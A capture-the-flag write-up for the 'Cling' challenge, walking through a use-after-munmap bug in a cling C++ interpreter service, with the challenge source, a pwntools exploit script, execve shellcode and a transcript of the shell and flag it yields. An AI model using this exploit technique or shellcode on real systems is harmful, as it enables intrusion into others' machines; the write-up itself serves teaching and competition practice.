Cling

Description

I’m happy to announce that our new map-reduce service is now running on the rigid and flexible platform.

nc 34.146.101.4 30003

Attachment: cling.tar.gz xpl.py

Team: Super Guesser

---------------
1. create
2. protect
3. delete
4. set_map
5. run_map
6. set_reduce
7. run_reduce
8. show_result
---------------
> 

This challenge was using cling, which is an “interactive C++ Interpreter”. We were provided the source of the code, that will be passed to the interpreter.

Options 6-8 were not implemented, so let’s take a quick look at the other options.

void create() {
    if (n_create > N_CREATE) {
        puts("too many creation");
        return;
    }
    printf("size? >");
    unsigned size = get_num();
    if (0 == size || size > (0x1000/sizeof(unsigned long long))) {
        puts("too big");
        return;
    }
    n_create++;
    buf = (unsigned long long *)mmap(NULL, 0x1000 , PROT_READ | PROT_WRITE, MAP_ANONYMOUS | MAP_PRIVATE, -1, 0);
    n_elem = size;
    if ((long long int)buf == -1) {
        puts("fail");
        n_elem = 0;
        buf = NULL;
        return;
    }
    printf("%p\n", buf);

    for (int i = 0; i < n_elem; i++) {
        if (scanf("%llu", &buf[i]) != 1) return;
    }
}

Create will just pretty much mmap a region with read/write permissions and stores a pointer to it in a global buf variable.

void protect() {
    u64 prot = PROT_NONE;
    printf("read? >");
    if (get_yes_no()) {
        puts("yes read");
        prot |= PROT_READ;
    }
    printf("write? >");
    if (get_yes_no()) {
        prot |= PROT_WRITE;
    }
    printf("exec? >");
    if (get_yes_no()) {
        prot |= PROT_EXEC;
    }
    int ret = mprotect(buf, 0x1000, prot);
    if (ret == -1) {
        puts("fail");
        n_elem = 0;
        buf = NULL;
    }
}

protect lets us define the permissions on the mmapped region. Answering all questions with yes will mark it as rwx.

void del() {
    int ret = munmap(buf, 0x1000);
    if (ret == -1) {
        puts("fail");
        n_elem = 0;
        buf = NULL;
    }
}

del will munmap our current region, without clearing the global buf pointer. So the address from this will still be available. Normally, this would not be of much use, since that memory region becomes unmapped. But let’s keep this in mind.

void set_map() {
    char expr[8192];
    char func[8492];
    if (!func_set) {
        printf("Give me your map function body > ");
        scanf("%8191s", expr);
        for (int i = 0; i < strlen(expr); i++) {
            if (expr[i] == 'x' ||
                    ('0' <= expr[i] && expr[i] <= '9') ||
                    expr[i] == ' ' ||
                    expr[i] == '+' ||
                    expr[i] == '-' ||
                    expr[i] == '*' ||
                    expr[i] == '/' ||
                    expr[i] == '?' ||
                    expr[i] == ':') continue;
            puts("wrong format");
            return;
        }
        sprintf(func, "unsigned long map_func(unsigned long x) {return %s;}", expr);
        gCling->process(func);

        cling::Value v;
        auto ret = gCling->evaluate("map_func(42)", v);
        if (ret == 0) {
            printf("map_func(42) = %llu\n", v.getULL());
            func_set = 1;
        }
    } else {
        puts("the map function has already been registered.");
    }
}

With set_map things get interesting. This will let us enter a map function, which will then be evaluated by the interpreter.

For this cling will kinda do a jit compilation, creating a mmapped region, put the code for this function on it and execute it (marking the region as r-x).

void run_map() {
    char expr[0x2000];
    if (func_set) {
        cling::Value v;
        if (buf == NULL || n_elem == 0) return;
        for (unsigned i = 0; i < n_elem; i++) {
            sprintf(expr, "map_func(%lluULL)", buf[i]);
            gCling->evaluate(expr, v);
            unsigned long long result = v.getULL();
            buf[i] = result;
        }
    } else {
        puts("no map function has been registered yet.");
    }
}

run_map will now just take some user input and pass it to the map function, we defined in set_map.

So, let’s recap this:

  • We can create a mmapped region via create
  • We can set the permissions for this region via protect
  • We can unmap that region (but keep a pointer to it) via del
  • We can create a custom function, which will mmap a region and put code to it via set_map
  • We can execute this custom function (executing the code from the mmapped region) via run_map
  • Also mmapping a region, unmapping and mmapping it again will serve the same region

See, where this is going? :)

If not, the trick is just to create a mmapped region, fill it up with random values and munmap it. This region will now be gone, but we’ll still have its address in buf.

Now we can call set_map and define a mapping function. Again, it’s content isn’t important, just put something in it, which will compile. This will mmap again a region, put the code for the map function in it and executes it once (and since we created and unmapped a region before, this code will be put into the exact same region which we have in our buf).

Because the region from buf is now mapped again, we can… delete it again… (the map function from set_map will also now point to the same unmapped region).

#!/usr/bin/python
from pwn import *
import sys

LOCAL = True

HOST = "34.146.101.4"
PORT = 30003


def create(size, vals):
    r.sendline("1")
    r.sendlineafter(">", str(size))

    for val in vals:
        r.sendline(val)

    r.recvuntil("> ")


def setprot(rd, wr, exe):
    r.sendline("2")
    r.sendlineafter(">", "y" if rd else "n")
    r.sendlineafter(">", "y" if wr else "n")
    r.sendlineafter(">", "y" if exe else "n")
    r.recvuntil("> ")


def setmap(func):
    r.sendline("4")
    r.sendlineafter("> ", func)
    r.recvuntil(" = ")
    resp = r.recvline()[:-1]
    r.recvuntil("> ")
    return resp


def delete():
    r.sendline("3")
    r.recvuntil("> ")


def exploit(r):
    r.recvuntil("> ")

    size = 1000/8

    create(size, ["+"])    # create a mmapped region
    delete()               # free it
    setmap("x")            # create map function (will be created in the just freed region)
    delete()               # free the map function region (via buf from create)

    r.interactive()

    return


if __name__ == "__main__":
    if len(sys.argv) > 1:
        LOCAL = False
        r = remote(HOST, PORT)
    else:
        LOCAL = True
        with open("chall.c", "r") as f:
            data = f.read()

        r = process(["./cling/bin/cling", "--nologo"])
        r.send(data)
        print(util.proc.pidof(r))
        pause()

    exploit(r)

So, let’s just create again. This will now again serve us the same region as the first create, which is also the same region the map function is pointing to :)

We can now just write proper shellcode to it and then execute the map function via run_map. Since the map function is also pointing to the region, we just defined in create this will then execute our shellcode instead of the previous map function.

The map function will jump to region + 0xa0, so we just have to append some dummy values in the beginning and then write our shellcode to offset 0xa0 in the region

def exploit(r):
    ...

    # put shellcode on freed page (compiled map function pointing there)
    SC = """
        xor rax, rax
        mov al, 59
        mov rdi, rdx
        add rdi, 0x28
        xor rsi, rsi
        xor rdx, rdx
        syscall
    """

    l = []

    context.arch = "amd64"
    payload = asm(SC)
    payload = payload.ljust(40, "\x90")
    payload += "/bin/sh\x00"

    for i in range(0, 0xa0/8):
        l.append("1")

    for i in range(0, len(payload), 8):
        l.append(str(u64(payload[i:i+8].ljust(8, "\x90"))))

    create(len(l), l)
    setprot(True, True, True)         # make our region rwx

    # execute run_map
    r.sendline("5")

run_map will now jump right into our shellcode giving us a shell

[+] Opening connection to 34.146.101.4 on port 30003: Done
[*] Switching to interactive mode
$ ls home/user
chall.c
flag-26dec3e0f05adecded30266312a10975
start.sh
$ cat /home/user/flag-26dec3e0f05adecded30266312a10975
TSGCTF{Have_you_ever_solved_Use_After_Munmap_chal?}